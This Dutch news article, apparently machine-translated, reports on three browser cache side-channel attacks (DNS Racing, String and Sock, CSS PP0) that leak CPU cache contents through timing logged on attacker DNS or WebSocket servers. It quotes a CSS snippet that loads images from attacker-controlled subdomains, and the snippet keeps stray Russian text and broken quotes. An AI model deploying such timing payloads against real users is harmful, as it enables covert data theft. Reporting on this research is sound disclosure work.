Aanval op het extraheren van gegevens uit de CPU-cache, uitgevoerd in een webbrowser zonder JavaScript

Een groep onderzoekers van verschillende Amerikaanse, Israëlische en Australische universiteiten heeft drie werkende aanvallen ontwikkeld voor webbrowser om informatie over de inhoud van de processorcache te extraheren. Eén methode werkt in browsers zonder JavaScript, terwijl de andere twee de bestaande beschermingsmethoden tegen aanvallen via zijkanalen omzeilen, inclusief die in de Tor-browser en DeterFox. De code voor het demonstreren van de aanvallen, evenals de noodzakelijke servercomponenten voor de aanvallen, zijn gepubliceerd op GitHub.

Voor de analyse van de cache-inhoud wordt in alle aanvallen de methode Prime+Probe gebruikt, waarbij de cache wordt gevuld met een referentieset van waarden en veranderingen worden bepaald door de toegangstijd tijdens een herhaalopvulling te meten. Om de in browsers aanwezige beschermingsmechanismen te omzeilen, die nauwkeurige tijdmeting belemmeren, wordt in twee varianten gebruikgemaakt van een door de aanvaller gecontroleerde DNS- of WebSocket-server waarop de tijd van binnenkomende verzoeken wordt gelogd. In één variant wordt een vaste tijd voor het DNS-antwoord gebruikt als referentietijd.

Metingen uitgevoerd met externe DNS- of WebSocket-servers bleken, dankzij een classificatiesysteem op basis van machine learning, voldoende te zijn voor het voorspellen van waarden met een nauwkeurigheid tot 98% in het meest optimale scenario (gemiddeld 80-90%). De aanvalsmethoden zijn getest op verschillende hardwareplatforms (Intel, AMD Ryzen, Apple M1, Samsung Exynos) en bewezen universeel te zijn.

Aanval op het extraheren van gegevens uit de CPU-cache, uitgevoerd in een webbrowser zonder JavaScript

In de eerste variant van de aanval 'DNS Racing' wordt de klassieke implementatie van de Prime+Probe-methode gebruikt, die JavaScript-arrays benut. De verschillen komen neer op het gebruik van een externe timer gebaseerd op DNS en een onerror-handler, die wordt geactiveerd bij de poging om een afbeelding van een niet-bestaande domein te laden. De externe timer maakt het mogelijk om de Prime+Probe-aanval uit te voeren in browsers die de toegang tot JavaScript-timers beperken of volledig uitschakelen.

Voor een DNS-server die is gehost in hetzelfde Ethernet-netwerk, wordt de nauwkeurigheid van de timer geschat op ongeveer 2 ms, wat voldoende is voor het uitvoeren van aanvallen via externe kanalen (ter vergelijking, de nauwkeurigheid van de standaard JavaScript-timer in de Tor-browser is verlaagd tot 100 ms). Voor de aanval is geen controle over de DNS-server vereist, aangezien de uitvoeringstijd van de operatie is afgestemd zodat de responstijd van DNS dient als een indicatie van een eerder beëindigde controle (afhankelijk van of de onerror-handler eerder of later wordt geactiveerd, wordt er een conclusie getrokken over de snelheid van de uitvoeroperatie met de cache).

De tweede aanvalsmethode ‘String and Sock’ richt zich op het omzeilen van beveiligingsmethoden die het gebruik van low-level arrays in JavaScript beperken. In plaats van arrays maakt ‘String and Sock’ gebruik van operaties met zeer grote strings, waarvan de grootte zo is gekozen dat de variabele het gehele LLC-cache (Last Level Cache) bedekt. Vervolgens wordt met de functie indexOf() in de string naar een klein subteken gezocht dat oorspronkelijk niet in de oorspronkelijke string aanwezig is, d.w.z. de zoekoperatie leidt tot het doorlopen van de hele string. Aangezien de grootte van de string overeenkomt met de grootte van de LLC-cache, stelt het scannen ons in staat om de cachecontrole zonder manipulatie van arrays uit te voeren. Voor het meten van vertragingen wordt in plaats van DNS een aanvallers WebSocket-server gebruikt — voor en na het zoeken in de string worden verzoeken verzonden, op basis waarvan de de server vertraging wordt berekend, die wordt gebruikt voor de analyse van de inhoud van de cache.

De derde aanvalsmethode 'CSS PP0' is uitgevoerd via HTML en CSS, en kan werken in browsers met uitgeschakelde JavaScript. De methode doet denken aan 'String and Sock', maar is niet aan JavaScript gebonden. Tijdens de aanval wordt een set CSS-selectors gevormd die zoekopdrachten op basis van een patroon uitvoeren. De oorspronkelijke lange string die de cache vult, wordt ingesteld door het aanmaken van een div-tag met een zeer lange klassennaam. Binnenin worden andere divs geplaatst met hun eigen identificeerbare ID's. Voor elk van deze geneste divs wordt een eigen stijl bepaald met een selector die een substring zoekt. Bij het rendert van de pagina probeert de browser eerst de interne divs te verwerken, wat leidt tot het uitvoeren van een zoekopdracht in de lange string. De zoekopdracht wordt uitgevoerd met een opzettelijk ontbrekend patroon en leidt tot het doorzoeken van de gehele string, waarna de voorwaarde 'not' wordt geactiveerd en een poging wordt gedaan om een achtergrondafbeelding te laden die verwijst naar willekeurige domeinen: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Subdomeinen worden beheerd op de DNS-server van de aanvaller, die vertragingen in het ontvangen van aanvragen kan meten. Op alle aanvragen geeft de DNS-server NXDOMAIN terug en houdt een log bij van de exacte tijdstippen van de aanvragen. Als gevolg van de verwerking van de set divs ontvangt de DNS-server van de aanvaller een reeks verzoeken, waarvan de vertragingen correleren met het resultaat van de cache-inhoudscontrole.

Aanval op het extraheren van gegevens uit de CPU-cache, uitgevoerd in een webbrowser zonder JavaScript


Bron: opennet.ru
Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers 🔥 Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster